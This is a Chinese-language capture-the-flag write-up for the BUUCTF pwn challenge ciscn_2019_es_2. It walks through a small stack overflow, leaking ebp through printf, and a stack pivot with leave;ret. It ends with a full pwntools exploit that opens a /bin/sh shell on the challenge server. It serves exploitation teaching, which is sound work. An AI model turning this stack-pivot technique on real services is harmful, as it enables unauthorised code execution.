借鉴于大佬写的一篇非常详细的文章 : https://bbs.kanxue.com/thread-266927.htm checksec
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_es_2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
IDA32
1 2 3 4 5 6 7 int __cdecl main (int argc, const char **argv, const char **envp) { init(); puts ("Welcome, my friend. What's your name?" ); vul(); return 0 ; }
vul()
1 2 3 4 5 6 7 8 9 10 int vul () { char s[40 ]; memset (s, 0 , 0x20u ); read(0 , s, 0x30u ); printf ("Hello, %s\n" , s); read(0 , s, 0x30u ); return printf ("Hello, %s\n" , s); }
看到有栈溢出的漏洞,但是 s
的缓冲区为 0x28
, read 读的是 0x30
, 只能溢出八字节
在 hack 函数中找到了 system 的地址
1 2 3 4 int hack () { return system("echo flag" ); }
直接溢出肯定不可行,因为溢出长度太小,无法通过 ROPgadget 构造 get shell,这里就要用到栈迁移 了
栈迁移思路
通过 padding 溢出 s, 因为 printf
函数输出是直到 \x00
才停止, 所以可以让 printf
一直输出,直到输出 ebp 的地址
通过溢出在 s 的栈中写入
1 'aaaa' + system_addr + system_ret + bin_sh_addr + '/bin/sh' + rubbishdata + s stack start + leave_ret
详细解释一下
溢出 ebp 的地址: 因为 printf
函数输出是直到 \x00
才停止,用垃圾数据填满 s 的缓冲区,溢出后 printf
仍然没有接受到 \x00
, 所以会继续输出直到 ebp_old
的地址被输出 栈情况:
1 2 3 4 5 6 7 高地址 返回地址(main) EBP + 4 EBP EBP + 0 s[39] EBP - 0x01 ... s[0] EBP - 0x28 低地址
可以看出,缓冲区 s 被溢出后,第一个输出的就是EBP 的内存地址 编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(log_level = 'debug' , arch = 'i386' , os = 'linux' ) pwnfile= './ciscn_2019_es_2' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x28 io.recvuntil("name?\n" ) payload = b'a' * (padding - 1 ) + b'b' io.send(payload) io.recvuntil('b' ) ebp_addr = u32(io.recv(4 )) print ("ebp_addr:" ,hex (ebp_addr))
ebp_addr: 0xffc90d98
在 printf
处查看 ebp
到 esp
的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> stack 20 00:0000│ esp 0xffffd1e0 —▸ 0x80486ca ◂— dec eax /* 'Hello, %s\n' */ 01:0004│-034 0xffffd1e4 —▸ 0xffffd1f0 ◂— 'aaaa\n' 02:0008│-030 0xffffd1e8 ◂— 0x30 /* '0' */ 03:000c│-02c 0xffffd1ec —▸ 0x804a044 (stdout@@GLIBC_2.0) —▸ 0xf7fa3d40 (_IO_2_1_stdout_) ◂— 0xfbad2887 04:0010│ eax ecx 0xffffd1f0 ◂— 'aaaa\n' 05:0014│-024 0xffffd1f4 ◂— 0xa /* '\n' */ 06:0018│-020 0xffffd1f8 ◂— 0 ... ↓ 5 skipped 0c:0030│-008 0xffffd210 —▸ 0x80486d8 ◂— push edi /* "Welcome, my friend. What's your name?" */ 0d:0034│-004 0xffffd214 —▸ 0xf7d8396c ◂— 0x914 0e:0038│ ebp 0xffffd218 —▸ 0xffffd228 ◂— 0 0f:003c│+004 0xffffd21c —▸ 0x804862a (main+43) ◂— mov eax, 0 10:0040│+008 0xffffd220 ◂— 0 11:0044│+00c 0xffffd224 —▸ 0xffffd240 ◂— 1 12:0048│+010 0xffffd228 ◂— 0 13:004c│+014 0xffffd22c —▸ 0xf7d96cb9 (__libc_start_call_main+121) ◂— add esp, 0x10
1 2 pwndbg> distance ebp esp 0xffffd218->0xffffd1e0 is -0x38 bytes (-0xe words)
栈迁移 解释我们所构造的 payload2
1 'aaaa' + system_addr + system_ret + bin_sh_addr + '/bin/sh' + rubbishdata + s stack start + leave_ret
1 2 3 4 leave : mov esp; ebp pop ebp ret : pop eip
esp
回到 ebp
的位置,ebp
出栈,回到当前 ebp
所在的数据内存地址; 从 esp
的位置弹出 eip
,eip
指向当前 esp
所在的数据内存地址
所以 esp 会回到 ebp,也就是 s stack start
的位置 (也就是 s 栈一开始的位置), pop ebp
把 ebp 指向了 payload 中的 'aaaa'
内存地址处, esp 栈顶指针+0x04 , 指向了我们构造的 ROPgadget 指令 leave_ret
, 又调用了一次 leave ;ret
再一次执行 leave ; ret esp -> ebp -> 'A' * 4
地址处, pop ebp
不会改变位置,esp 移动到 esp + 4 处, pop eip
就相当于 eip -> esp = system_addr
后面的 'A' * 4
是 junk data ,为 system_addr
的 ret_addr , (original_ebp-0x38)+10
, 也就是 /bin/sh\x00
也就是说,绕了这么大一个圈子,最终只是为了调用
1 2 3 system_addr ret '/bin/sh\x00'
解题脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context(log_level = 'debug' , arch = 'i386' , os = 'linux' ) pwnfile= './ciscn_2019_es_2' elf = ELF(pwnfile) rop = ROP(pwnfile) io = remote("node5.buuoj.cn" ,27625 ) padding = 0x28 io.recvuntil("name?\n" ) payload = b'a' * (padding - 1 ) + b'b' io.send(payload) io.recvuntil('b' ) ebp_addr = u32(io.recv(4 )) print ("ebp_addr:" ,hex (ebp_addr))system_addr = 0x8048400 leave_ret_addr = 0x08048562 payload2 = b'a' * 4 + p32(system_addr) + p32(0 ) + p32((ebp_addr-0x38 )+0x10 ) + b'/bin/sh' payload2 = payload2.ljust(0x28 ,b'\x00' ) + p32(ebp_addr-0x38 ) + p32(leave_ret_addr) io.send(payload2) io.interactive()